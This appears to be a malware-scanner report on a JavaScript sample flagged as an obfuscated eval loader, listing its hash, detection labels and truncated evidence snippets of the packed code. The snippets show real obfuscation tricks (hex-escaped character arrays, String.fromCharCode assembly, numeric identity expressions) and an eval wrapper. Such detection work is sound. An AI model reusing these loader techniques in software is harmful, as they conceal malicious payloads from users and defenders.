Suspicious ^80% javascript-malware-collection Download

5c580aedb1d4f20d84f0d8530e9b396ae7082d92c9bb1139a495a6b8058e23df.js

obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2565c580aedb1d4f20d84f0d8530e9b396ae7082d92c9bb1139a495a6b8058e23df

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var z=new Array();
2x(z,"\x6f");x(z,"\x28");x(z,"\x66");x(z,"\x40");x(z,"\x66");x(z,"\x2b");x(z,"\x42");x(z,"\x4b");x(z,"\x76");x(z,"\x53");x(z,"\x68");x(z,"\x59");x(z,"\x4c");x(z,"\x5a");x(z,"\x71");x(z,"\x2f");x(z,"\x76");x(z,"\x3b");x(z,"\x62");x(z,"\x22");x(z,"\x68");x(z,"\x51");x(z,"\x60");x(z,"\x55");x(z,"\x38");x(z,"\x2b");x(z,"\x3a");x(z,"\x47");x(z,"\x2b");x(z,"\x42");x(z,"\x4e");x(z,"\x4d");x(z,"\x7b");x(z,"\x51");x(z,"\x5d");x(z,"\x78");x(z,"\x49");x(z,"\x6a");x(z,"\x64");x(z,"\x30");x(z,"\x3b");x(z,"\x7b");x(z,"\x76");x(z,"\x51");x(z,"\x30");x(z,"\x2b");x(z,"\x3c");x(z,"\x77");x(z,"\x47");x(z,"\x25");x(z,"\x2b");x(z,"\x28");x(z,"\x34");x(z, …

0x3f hex byte token line 3

3:4… HfHFz=[0x2,0x7,0xd,0x13,0x17,0x1b,0x1e,0x26,0x28,0x2d,0x32,0x3a,0x3f,0x43,0x4a,0x4e,0x54,0x55,0x5b,0x62,0x64,0x6a,0x6e,0x77,0x7c,0x7f,0x82,0x8b,0x8c,0x94,0x9a,0x9c,0xa0,0xa6,0xaa,0xb2,0xb6,0xbc,0x …

Builds characters with String.fromCharCode line 4

4:236… 39],z[40],z[41],z[42],z[43],z[44],z[45],z[46],z[47],z[48],z[49],String.fromCharCode(10),z[50],z[51],z[52],z[53],z[54],z[55],z[56],z[57],z[58],z[59],z[60],z[61],z[62],z[63],z[64],z[65],String.fromCharCode(13),z[6 …

Calls JavaScript toString conversion method lines 5–8

5:110… XyWKZX(KvnIxMXnLSMuROYz)) {return (String.fromCharCode(KvnIxMXnLSMuROYz) + String.fromCharCode((48929+319)/912));}}
6function STXkd(JyBkJaBLlwq,fsNVwxiRtBojn,PgYiwXRj){rvCC=parseInt(JyBkJaBLlwq,fsNVwxiRtBojn);xKVVQ=rvCC.toString(PgYiwXRj);return xKVVQ;}function huAmQPsDKxJCrPs(kgBkUtBVkwqAucOGZ,XDVZboNzwKBYQbwheFMLCTwEIwSaKeRJYi,zHOkFBkdDggAqoBwiQrPYBFeGaMCQvRQtMT){eval(kgBkUtBVkwqAucOGZ)}
7function huAmQPsDKxJCrPs(kgBkUtBVkwqAucOGZ){eval(kgBkUtBVkwqAucOGZ)}
8function QGlSFncyNWevCkPFolLorAHaiGxtYCduQYMdNZahETpBaxRAidGWtH(HgpgJOiGnTOQP,fWfXsBPqqYSCsn){ return MPnRvJH[UVqHfHFz[STXkd(HgpgJOiGnTOQP[fWfXsBPqqYSCsn],(12349+195)/448,(3846+934)/478)]];}

Numeric sine-square obfuscation expression lines 13–15

13:13… ,u];
14var nLboRaGmx=[];
15function JTaYVMcvGemkjEfPu(lauJA){UKmOrIMDaDP= z[1797];for(ACRPJcpEFiE=Math.round((Math.pow(Math.sin(533), 2) + Math.pow(Math.cos(533), 2) - 1)); ACRPJcpEFiE < (1038+430)/734; ACRPJcpEFiE++) {nLboRaGmx[ACRPJcpEFiE]=Math.round((Math.pow(Math.sin(30), 2) + Math.pow(Math.cos(30), 2) - 1)); while(true) { if(nLboRaGmx[ACRPJcpEFiE] > lauJA[ACRPJcpEFiE].length-(-72+271)/199) { break; } if (KXyWKZX(STXkd(lauJA[ACRPJcpEFiE][nLboRaGmx[ACRPJcpEFiE]],(26373+8 …